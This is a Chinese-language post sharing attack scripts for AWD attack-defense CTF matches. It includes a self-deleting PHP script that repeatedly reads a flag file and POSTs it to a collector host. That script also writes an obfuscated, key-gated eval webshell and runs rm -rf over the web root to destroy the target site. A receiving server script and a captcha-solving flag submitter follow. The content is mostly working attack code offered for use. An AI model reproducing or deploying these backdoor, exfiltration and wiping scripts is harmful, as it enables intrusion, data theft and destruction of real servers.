AWD线下赛无敌猥琐脚本

author：说书人

一、AWD内存脚本

该脚本功能：
1.该脚本为内存脚本，访问一下就自删除，不留痕迹。
2.自动读取flag，并将flag提交到指定地址，会自动检测是否更新flag，只有更新了flag才会提交，需要在脚本中修改flag物理路径。
3.会生成不死马，不死马具有隐藏和欺骗功能。用蚁剑访问 `http://xxx/.c403d59fea33113df44d465aeec336ab.php?key=ssr2021shuoshurenmd5`，密码为a。
木马原始代码如下（只要别人不知道key，就没办法黑吃黑）：

```php
<?php $key=$_GET["key"];
$keyhash=md5($key);
if($keyhash==="c403d59fea33113df44d465aeec336ab") {
    eval($_POST["a"]);
}
echo"file not find.";
?>
```

这个只作为备用连接，flag正常自己提交过来的话就不用管。
4.该脚本会不断删除目标的网站源码，别人扣分等于我们加分。
5.脚本命名必须为awd2021.php，若要修改的话需要同步修改下面代码中的文件名。

```php
<?php
function send_post($url, $post_data) {
    $postdata = http_build_query($post_data);
    $options = array(
            'http' => array(
              'method' => 'POST',
              'header' => 'Content-type:application/x-www-form-urlencoded',
              'content' => $postdata,
              'timeout' => 15 * 60
            )
          );
    $context = stream_context_create($options);
    $result = file_get_contents($url, false, $context);
    return $result;
}
$flag_tmp="flag{xxx}";
@unlink ("awd2021.php");
while (True) {
    $flag=system("cat flag.txt");
    $data=array(
          'flag' => $flag
        );
    if ($flag!=$flag_tmp) {
        send_post('http://127.0.0.1/getflag.php', $data);
    }
    $flag_tmp=$flag;
    $shell=base64_decode("PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4=");
    if (file_exists(".c403d59fea33113df44d465aeec336ab.php")==0) {
        file_put_contents(".c403d59fea33113df44d465aeec336ab.php", $shell, FILE_APPEND);
    }
    system("rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)");
}
?>
```

二、服务端接收flag脚本

1.按照往年比赛经验，靶机和我们的电脑是互通的，这个脚本可以本机开一个phpstudy跑起来，若不通的话直接放自己的靶机服务器上。
2.这个脚本默认名字为getflag.php，如果修改的话需要修改内存脚本中对应的文件名。
3.新的flag会源源不断提交过来，在当前目录的 `shuoshuren_flag.txt` 里面。

```php
<?php
$flag=$_POST["flag"];
file_put_contents("shuoshuren_flag.txt", $flag."\n", FILE_APPEND);
?>
```

三、自动提交flag脚本

根据往年经验，flag提交平台是有验证码的，所以这个脚本调用了验证码训练识别模型，达到自动化提交flag的目的

```python
# AWD自动提交flag脚本
# base python3
# author: 说书人
import requests
import base64
import json
import time

def GetPic(url):  # 获取验证码并识别，这里会调用我本机的验证码训练识别模型
    pic_content=requests.get(url).content
    pic_base64=base64.b64encode(pic_content).decode()
    data='base64='+pic_base64
    try:
        yzm=requests.post('http://192.168.3.103:8899/base64',data=data).text
        return yzm
    except:
        return 'yzm'

def PostFlag(PostUrl,PicUrl,flag):  # 提交flag
    with open(flag,'r') as f:
        flag_list=f.read().split('\n')
    headers={
        #请求头需要现场抓包
    }
    for flag in flag_list:
        if flag in flag_list:
            print("{}   重复".format(flag))
        else:
            GetYzm=GetPic(PicUrl)
            data = json.dumps({"请求体需要现场抓包，字典格式"})
            try:
                res=requests.post(url=PostUrl,headers=headers,data=data)
                if '成功的标识符' in res.text:
                    print("{}   提交成功".format(flag))
                    flag_list_ok.append(flag)
                else:
                    print("{}   提交失败".format(flag))
            except:
                print('其他错误')

flag_list_ok=[]
while True:
    PostFlag("提交flag的请求地址","flag平台验证码的地址","shuoshuren_flag.txt")
    time.sleep(300)#休息5分钟，可以按需修改
```